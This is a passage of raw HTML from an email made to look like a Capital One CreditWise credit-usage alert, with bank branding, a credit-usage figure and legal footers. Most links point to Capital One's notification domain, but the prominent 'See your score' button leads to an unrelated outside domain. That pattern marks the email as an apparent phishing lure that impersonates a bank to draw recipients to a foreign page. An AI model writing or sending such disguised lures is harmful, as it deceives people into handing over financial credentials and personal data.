24px; PADDING-RIGHT: 24px"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac= ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO= TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA= DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640> </TD= ></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><= /TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T= EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x" dir=3Dltr> <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI= DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px"><IMG style= =3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70px !import= ant; BORDER-LEFT-STYLE: none; HEIGHT: auto; WIDTH: 70px; VERTICAL-ALIGN: bo= ttom; BORDER-BOTTOM-STYLE: none; COLOR: rgb(20,20,20); TEXT-ALIGN: center; = FONT: 20px/30px Optimist, "Helvetica Neue", Helvetica, Arial, sans-serif; B= ORDER-RIGHT-STYLE: none' border=3D0 src=3D"https://mi.capitalone.com/p/rp/b= ed25787d806219a.png?icon_show_border=3Dtrue&icon_color=3D013D5B&ico= n_id=3Dprimary-credit&icon_inner_color=3DFFFFFF&icon_size=3D70&= icon_background=3DF4F4F4" width=3D70></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> </TD></TR></TBODY></TABLE></D= IV><SPAN> </SPAN>=20 <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI= DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;= TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder">Credit<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-SIZI= NG: border-box; FONT-WEIGHT: bolder">usage<BR class=3Dv1softBreak style=3D"= BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box; FON= T-WEIGHT: 600; COLOR: rgb(1,61,91)">30</SPAN><SPAN style=3D"BOX-SIZING: bor= der-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"> % ? 27% of total credit us= ed</SPAN></H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px">See how much credit you ar= e using compared to your total credit—the lower your credit usage, th= e better.</P></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> </TD></TR></TBODY></TABLE></D= IV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></= TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 32px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE= : collapse; border-radius: 4px" cellSpacing=3D0 cellPadding=3D0 align=3Dcen= ter bgColor=3D#0276b1 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center= ; LINE-HEIGHT: 30px" width=3D300><A style=3D'BOX-SIZING: border-box; TEXT-D= ECORATION: none; WIDTH: 300px; COLOR: rgb(0,172,255); FONT: 20px/30px Optim= ist, "Helvetica Neue", Helvetica, Arial, sans-serif; DISPLAY: inline-block;= BACKGROUND-COLOR: transparent' href=3D"https://akrym.com/mod.html" rel=3Dn= oreferrer target=3D_blank><STRONG style=3D"BOX-SIZING: border-box; FONT-WEI= GHT: 400; COLOR: rgb(255,255,255); PADDING-BOTTOM: 9px; PADDING-TOP: 9px; P= ADDING-LEFT: 16px; DISPLAY: inline-block; PADDING-RIGHT: 16px">See your sco= re</STRONG></A></TD></TR></TBODY></TABLE></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 24px= ; LINE-HEIGHT: 24px; PADDING-RIGHT: 24px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><STRONG style=3D"BOX-SIZIN= G: border-box; FONT-WEIGHT: bolder">Check your credit score and other key f= actors with the CreditWise<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-= SIZING: border-box; FONT-WEIGHT: bolder">app.</STRONG><BR class=3Dv1softBre= ak style=3D"BOX-SIZING: border-box"><A style=3D"BOX-SIZING: border-box; TEX= T-DECORATION: none; COLOR: rgb(2,118,177); BACKGROUND-COLOR: transparent" h= ref=3D"https://click-notification.capitalone.com/f/a/HvtSx29_bB9GtdmFvx1Rfw= ~~/AAAAARA~/t1ZQCw9dCuwMM0_LZiYQK5ObI6mQuWrU1j60zGhDKY41ykQciADyXC_6tSzP3NR= sVw79V_g-Ld1_GF2YO4X_NJRD-MCOI40g1xMsqkY77UcCXK99w5s8urR2Zgld4hzU" rel=3Dno= referrer target=3D_blank><SPAN class=3Dv1textLink style=3D"BOX-SIZING: bord= er-box; BORDER-BOTTOM: 1px solid; PADDING-BOTTOM: 1px">Download the CreditW= ise mobile app today.</SPAN></A></P></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; F= ONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; BOR= DER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(= 44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LET= TER-SPACING: normal; BACKGROUND-COLOR: rgb(244,244,244); font-variant-ligat= ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te= xt-decoration-thickness: initial; text-decoration-style: initial; text-deco= ration-color: initial" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" borde= r=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO= M: 8px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "Hel= vetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RIG= HT: 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR= GIN: 0px 0px 16px; LINE-HEIGHT: 16px">About this message</H2> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">The CreditWise Si= mulator provides an estimate of your score change and does not guarantee ho= w your score may change.<BR style=3D"BOX-SIZING: border-box"><BR style=3D"B= OX-SIZING: border-box">Web access is needed to use the mobile app. Check wi= th your service provider for details on specific fees and charges.</P></TD>= </TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B= OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R= IGHT: 24px"> <DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(125,125,125) 1px s= olid"> </DIV></TD></TR></TBODY></TABLE> <TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px; F= ONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; BOR= DER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(= 44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LET= TER-SPACING: normal; BACKGROUND-COLOR: rgb(244,244,244); font-variant-ligat= ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te= xt-decoration-thickness: initial; text-decoration-style: initial; text-deco= ration-color: initial" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" borde= r=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO= M: 24px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "He= lvetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RI= GHT: 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR= GIN: 0px 0px 16px; LINE-HEIGHT: 16px">Important information from Capital&nb= sp;One</H2> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box"><A style=3D"BOX-SIZING: border-box= ; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"ht= tps://click-notification.capitalone.com/f/a/Ld0Z1idLrhgjitpbKZ2New~~/AAAAAR= A~/9IgJYb7cof-KGBxjvhMcu2EESiNIBGUxTjcqHSyKsoUYx55oufGrUX2sk-Wo1cPMNuPlqYV2= pNBQS1yTWxA8dV56SyznnSdcXfoiVwlwhPlo7gQVi9BTe2Z3xv8FA-13EptzgVVqrsMxmzmPiaT= FKQ~~" rel=3Dnoreferrer target=3D_blank><SPAN class=3Dv1textLink style=3D"B= OX-SIZING: border-box; TEXT-DECORATION: underline; text-underline-offset: 1= px">Contact us</SPAN></A> | <A style=3D"BOX-SIZING: b= order-box; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" h= ref=3D"https://click-notification.capitalone.com/f/a/h_KmJgZBhs1fcUGD3duNNg= ~~/AAAAARA~/xbhj6UvFsHgxI4DFkVuVyNRBruHx0RGZppv6EYHHHI-xmCTLkNXP-_GgYGSvAUL= CaWy44Dt4NmJkmRQkiIcUoLPsjIwJXak5WuWTebVHQzLAqxX91ia0kftW2BzvBaXx" rel=3Dno= referrer target=3D_blank> <SPAN class=3Dv1textLink style=3D"BOX-SIZING: bor= der-box; TEXT-DECORATION: underline; text-underline-offset: 1px">Privacy</S= PAN></A> | <A style=3D"BOX-SIZING: border-box; TEXT-= DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"https://c= lick-notification.capitalone.com/f/a/pHk5AB-oebGY5hCznXPQFQ~~/AAAAARA~/7z6g= MhaiBAmvYcZsjtozwwYETWzWk48ICM-Mzj5IWveCIrNNcx5Y2og-vEyO1WcdygC9_DUi20Q_5K1= xPmH9PYKSjeFaWLPollqrLHkojxSWNI1ID3Wx5JrCgXUPZ_GfDndPhw0HLU7zPufvOmtOQQ~~" = rel=3Dnoreferrer target=3D_blank> <SPAN class=3Dv1textLink style=3D"BOX-SIZ= ING: border-box; TEXT-DECORATION: underline; text-underline-offset: 1px">He= lp prevent fraud</SPAN></A></SPAN></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box">To ensure delivery, add<SPAN> = ;</SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ;= BACKGROUND-COLOR: transparent" rel=3Dnoreferrer><SPAN style=3D"BOX-SIZING:= border-box; TEXT-DECORATION: none">capitalone@notification.capitalone.com<= /SPAN></A><SPAN> </SPAN>to your address book.</SPAN></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box">This email was sent to<SPAN> = jeczin@ponjosonek.com</SPAN><SPAN> </SPAN> and contains information di= rectly related to your CreditWise account (including CreditWise alerts) and= other services to which you have subscribed. If you no longer want to rece= ive these emails, unfortunately you’ll have to <A style=3D"BOX-S= IZING: border-box; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transp= arent" href=3D"https://click-notification.capitalone.com/f/a/XOkr4bf7XBYvyo= 6dyVQH3g~~/AAAAARA~/i314zL8lNmB76gQ4jIDorP_yneET2Pl5pWHgQ4tHEhLsM3vE93qzAFZ= zV2iMW2NBHJgr0z0N6592Hj00y3gVUkYrff70SGLKXWvA1iaPGfU0--WcKBxl50l-ENTUsSfMxn= w3t0LbZ-miFPX2PEl94w0O8sASuZxG4WvGR5j6w7KQ8umxgKx8UPW-iHFCrcm6s3P7t627b1s-l= Na4vsD_rRL1kfs7P7vjgOaQUkKGvz8~" rel=3Dnoreferrer target=3D_blank><SPAN cla= ss=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION: underline= ; text-underline-offset: 1px">unenroll from CreditWise</SPAN></A> .</SPAN><= /P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Where does my Cre= ditWise score come from?<BR style=3D"BOX-SIZING: border-box">The credit sco= re provided in CreditWise is a FICO® Score 8 based on TransUnion® d= ata. The FICO Score 8 gives you a good sense of your credit health, but it = may not be the same score model used by your lender or creditor. The availa= bility of the CreditWise tool and certain features in the tool depends on o= ur ability to obtain your credit history from TransUnion and whether you ha= ve sufficient credit history to generate a FICO Score 8. Some monitoring an= d alerts may not be available to you if the information you enter at enroll= ment does not match the information in your credit file at (or you do not h= ave a file at) one or more consumer reporting agencies.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Capital One does = not provide, endorse or guarantee any third-party product, service, informa= tion or recommendation listed above. The third parties listed are not affil= iated with Capital One and are solely responsible for their products a= nd services. All trademarks are the property of their respective owners.</P= > <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Please do not rep= ly to this message, as this email inbox is not monitored.<SPAN> </SPAN= > <A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ; BACKG= ROUND-COLOR: transparent" href=3D"https://click-notification.capitalone.com= /f/a/Ld0Z1idLrhgjitpbKZ2New~~/AAAAARA~/9IgJYb7cof-KGBxjvhMcu2EESiNIBGUxTjcq= HSyKsoUYx55oufGrUX2sk-Wo1cPMNuPlqYV2pNBQS1yTWxA8dV56SyznnSdcXfoiVwlwhPlo7gQ= Vi9BTe2Z3xv8FA-13EptzgVVqrsMxmzmPiaTFKQ~~" rel=3Dnoreferrer target=3D_blank= ><SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION:= underline; text-underline-offset: 1px">To contact us, visit www.capitalone= =2Ecom/help-center/contact-us.</SPAN></A></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Products and serv= ices are offered by Capital One, N.A.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">FICO is a registe= red trademark of Fair Isaac Corporation in the United States and other coun= tries.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">© 2026 Capit= al One. Capital One is a federally registered service mark.</P> <P class=3Dv1info style=3D"BOX-SIZING: border-box; MARGIN: 0px">CWMR24 4910= 8 3378634</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 16px 0px 0px">TP1001</P></TD></= TR></TBODY></TABLE></BODY></HTML>